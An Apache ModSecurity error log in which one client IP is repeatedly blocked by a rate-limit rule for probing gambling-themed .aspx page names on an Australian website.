[Tue Mar 17 07:12:00.865526 2026] [:error] [pid 45917:tid 46011] [client 51.83.238.207:45024] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abiOQBMMhmeqL5fT_hefkQAAAJY"]
[Tue Mar 17 07:12:01.710300 2026] [:error] [pid 46020:tid 46027] [client 51.83.238.207:45044] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abiOQX-nCcd9BdzGdLcdmQAAAMU"]
[Tue Mar 17 07:12:01.932873 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:45032] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abiOQX-nCcd9BdzGdLcdmgAAAM4"]
[Tue Mar 17 07:12:05.032693 2026] [:error] [pid 45917:tid 45993] [client 51.83.238.207:45062] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abiORRMMhmeqL5fT_hefmAAAAIQ"]
[Tue Mar 17 07:12:05.244515 2026] [:error] [pid 45915:tid 45936] [client 51.83.238.207:45048] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abiORZh7U84ydzcrcncQdAAAAAc"]
[Tue Mar 17 07:12:07.988838 2026] [:error] [pid 46020:tid 46030] [client 51.83.238.207:45076] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abiOR3-nCcd9BdzGdLcdtgAAAMg"]
[Tue Mar 17 07:12:08.541520 2026] [:error] [pid 46020:tid 46027] [client 51.83.238.207:58392] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abiOSH-nCcd9BdzGdLcdugAAAMU"]
[Tue Mar 17 07:12:11.393609 2026] [:error] [pid 46020:tid 46025] [client 51.83.238.207:58406] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abiOS3-nCcd9BdzGdLcdvwAAAMM"]
[Tue Mar 17 07:12:11.590434 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:58414] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abiOS3-nCcd9BdzGdLcdwgAAANE"]
[Tue Mar 17 07:12:14.244153 2026] [:error] [pid 46020:tid 46023] [client 51.83.238.207:58426] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abiOTn-nCcd9BdzGdLcd1AAAAME"]
[Tue Mar 17 07:12:15.354649 2026] [:error] [pid 22541:tid 22569] [client 51.83.238.207:58434] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abiOT6S6JNY1-CTsTA8ITQAAARc"]
[Tue Mar 17 07:12:17.793997 2026] [:error] [pid 46020:tid 46027] [client 51.83.238.207:58438] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abiOUX-nCcd9BdzGdLcd3QAAAMU"]
[Tue Mar 17 07:12:18.312170 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:35630] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abiOUn-nCcd9BdzGdLcd4QAAANE"]
[Tue Mar 17 07:12:21.106094 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:35648] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abiOVX-nCcd9BdzGdLcd5wAAAMI"]
[Tue Mar 17 07:12:21.184442 2026] [:error] [pid 22541:tid 22560] [client 51.83.238.207:35638] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abiOVaS6JNY1-CTsTA8IVgAAAQ4"]
[Tue Mar 17 07:12:23.925799 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:35656] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abiOV3-nCcd9BdzGdLcd8gAAAMI"]
[Tue Mar 17 07:12:24.006408 2026] [:error] [pid 46020:tid 46046] [client 51.83.238.207:35660] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abiOWH-nCcd9BdzGdLcd8wAAANg"]
[Tue Mar 17 07:12:26.526118 2026] [:error] [pid 22541:tid 22549] [client 51.83.238.207:35664] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abiOWqS6JNY1-CTsTA8IXwAAAQM"]
[Tue Mar 17 07:12:26.822656 2026] [:error] [pid 45916:tid 45982] [client 51.83.238.207:35668] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abiOWriS53PnClk_C9AEtgAAAFQ"]
[Tue Mar 17 07:12:29.368345 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:56730] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abiOXaS6JNY1-CTsTA8IYQAAAQ8"]
[Tue Mar 17 07:12:29.852631 2026] [:error] [pid 22541:tid 22553] [client 51.83.238.207:56732] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abiOXaS6JNY1-CTsTA8IZAAAAQc"]
[Tue Mar 17 07:12:33.031571 2026] [:error] [pid 46020:tid 46043] [client 51.83.238.207:56740] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abiOYX-nCcd9BdzGdLceEwAAANU"]
[Tue Mar 17 07:12:37.504496 2026] [:error] [pid 46020:tid 46034] [client 51.83.238.207:56748] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abiOZX-nCcd9BdzGdLceIAAAAMw"]
[Tue Mar 17 07:12:41.157533 2026] [:error] [pid 46020:tid 46022] [client 51.83.238.207:52438] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abiOaX-nCcd9BdzGdLceLwAAAMA"]
[Tue Mar 17 07:12:43.729786 2026] [:error] [pid 46020:tid 46023] [client 51.83.238.207:52452] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abiOa3-nCcd9BdzGdLcePQAAAME"]
[Tue Mar 17 07:13:41.051670 2026] [:error] [pid 45915:tid 45931] [client 51.83.238.207:50542] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abiOpZh7U84ydzcrcncQ2QAAAAI"]
[Tue Mar 17 07:13:42.266636 2026] [:error] [pid 45917:tid 45999] [client 51.83.238.207:36422] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abiOphMMhmeqL5fT_hegDwAAAIo"]
[Tue Mar 17 07:13:47.921096 2026] [:error] [pid 46020:tid 46033] [client 51.83.238.207:36432] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abiOq3-nCcd9BdzGdLcetQAAAMs"]
[Tue Mar 17 07:13:48.209405 2026] [:error] [pid 46020:tid 46025] [client 51.83.238.207:36434] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abiOrH-nCcd9BdzGdLceuAAAAMM"]
[Tue Mar 17 07:13:51.449714 2026] [:error] [pid 45915:tid 45942] [client 51.83.238.207:35784] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abiOr5h7U84ydzcrcncQ6wAAAA0"]
[Tue Mar 17 07:13:52.048071 2026] [:error] [pid 45917:tid 46010] [client 51.83.238.207:35794] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abiOsBMMhmeqL5fT_hegIwAAAJU"]
[Tue Mar 17 07:13:55.932323 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:35804] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abiOs3-nCcd9BdzGdLce0QAAANE"]
[Tue Mar 17 07:13:57.576597 2026] [:error] [pid 46020:tid 46042] [client 51.83.238.207:35820] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abiOtX-nCcd9BdzGdLce2wAAANQ"]
[Tue Mar 17 07:14:00.204416 2026] [:error] [pid 45917:tid 45995] [client 51.83.238.207:42762] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abiOuBMMhmeqL5fT_hegLgAAAIY"]
[Tue Mar 17 07:14:00.761270 2026] [:error] [pid 45917:tid 46005] [client 51.83.238.207:42774] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abiOuBMMhmeqL5fT_hegMwAAAJA"]
[Tue Mar 17 07:14:03.425245 2026] [:error] [pid 45917:tid 45989] [client 51.83.238.207:42782] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abiOuxMMhmeqL5fT_hegOgAAAIA"]
[Tue Mar 17 07:14:04.296201 2026] [:error] [pid 45915:tid 45946] [client 51.83.238.207:42794] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abiOvJh7U84ydzcrcncQ-QAAABE"]
[Tue Mar 17 07:14:07.478909 2026] [:error] [pid 22541:tid 22564] [client 51.83.238.207:42800] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abiOv6S6JNY1-CTsTA8JTgAAARI"]
[Tue Mar 17 07:14:07.793677 2026] [:error] [pid 46020:tid 46026] [client 51.83.238.207:42804] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abiOv3-nCcd9BdzGdLce4QAAAMQ"]
[Tue Mar 17 07:14:12.054545 2026] [:error] [pid 46020:tid 46042] [client 51.83.238.207:55376] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abiOxH-nCcd9BdzGdLce7wAAANQ"]
[Tue Mar 17 07:14:12.207250 2026] [:error] [pid 45916:tid 45972] [client 51.83.238.207:55378] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abiOxLiS53PnClk_C9AFGwAAAEo"]
[Tue Mar 17 07:14:15.581958 2026] [:error] [pid 46020:tid 46031] [client 51.83.238.207:55390] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abiOx3-nCcd9BdzGdLcfAQAAAMk"]
[Tue Mar 17 07:14:16.106690 2026] [:error] [pid 22541:tid 22567] [client 51.83.238.207:55402] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abiOyKS6JNY1-CTsTA8JXQAAARU"]
[Tue Mar 17 07:14:20.338113 2026] [:error] [pid 45915:tid 45935] [client 51.83.238.207:33334] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abiOzJh7U84ydzcrcncRCQAAAAY"]
[Tue Mar 17 07:14:20.927977 2026] [:error] [pid 45917:tid 46003] [client 51.83.238.207:33342] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abiOzBMMhmeqL5fT_hegXwAAAI4"]
[Tue Mar 17 07:14:24.456407 2026] [:error] [pid 45915:tid 45953] [client 51.83.238.207:33344] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abiO0Jh7U84ydzcrcncRDQAAABg"]
[Tue Mar 17 07:14:26.105763 2026] [:error] [pid 22541:tid 22550] [client 51.83.238.207:33352] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abiO0qS6JNY1-CTsTA8JbwAAAQQ"]
[Tue Mar 17 07:14:27.120202 2026] [:error] [pid 22541:tid 22563] [client 51.83.238.207:33354] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abiO06S6JNY1-CTsTA8JcQAAARE"]
[Tue Mar 17 07:14:30.315342 2026] [:error] [pid 22541:tid 22568] [client 51.83.238.207:44708] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abiO1qS6JNY1-CTsTA8JfQAAARY"]
[Tue Mar 17 07:15:36.187747 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:44724] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abiPGKS6JNY1-CTsTA8J6AAAAQ8"]
[Tue Mar 17 07:15:39.927796 2026] [:error] [pid 46020:tid 46033] [client 51.83.238.207:37710] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abiPG3-nCcd9BdzGdLcfyQAAAMs"]
[Tue Mar 17 07:15:42.846391 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:37726] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abiPHn-nCcd9BdzGdLcfzgAAAMI"]
[Tue Mar 17 07:15:45.917225 2026] [:error] [pid 45917:tid 45996] [client 51.83.238.207:37732] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abiPIRMMhmeqL5fT_hegygAAAIc"]
[Tue Mar 17 07:15:50.995587 2026] [:error] [pid 45917:tid 46013] [client 51.83.238.207:45358] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abiPJhMMhmeqL5fT_heg6gAAAJg"]
[Tue Mar 17 07:15:54.163620 2026] [:error] [pid 22541:tid 22558] [client 51.83.238.207:45370] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abiPKqS6JNY1-CTsTA8KMwAAAQw"]
